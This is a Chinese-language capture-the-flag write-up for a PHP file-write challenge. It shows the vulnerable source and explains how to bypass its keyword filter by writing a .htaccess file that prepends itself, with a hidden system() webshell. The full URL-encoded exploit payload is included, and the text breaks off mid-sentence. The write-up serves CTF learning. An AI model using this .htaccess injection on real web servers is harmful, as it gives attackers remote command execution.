[羊城杯2020]easyphp

<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>

简单直接的代码题,我不是说简单

看看代码

首先scandir获取目录,不为index.php则删除

之后就是文件写入的过滤,最后读取文件

因为文件名没有字母,所以我们可以尝试.htaccess

向.htaccess文件写入shell,并且用auto_prepend_file包含.htaccess,但是file关键字被ban了,可以用换行绕过,结尾要用\处理content中的\n

所以payload(通过注释的方式写shell):

php_value auto_prepend_fil\e .htaccess 
#<?php system('ls /');?>\

为了不换行,我们对这个进行url编码,得到

?filename=.htaccess&content=php_value%20auto_prepend_fil%5Ce%20.htaccess%20%0A#%3C?php%20system('ls%20/');?%3E%5C%20

之后就是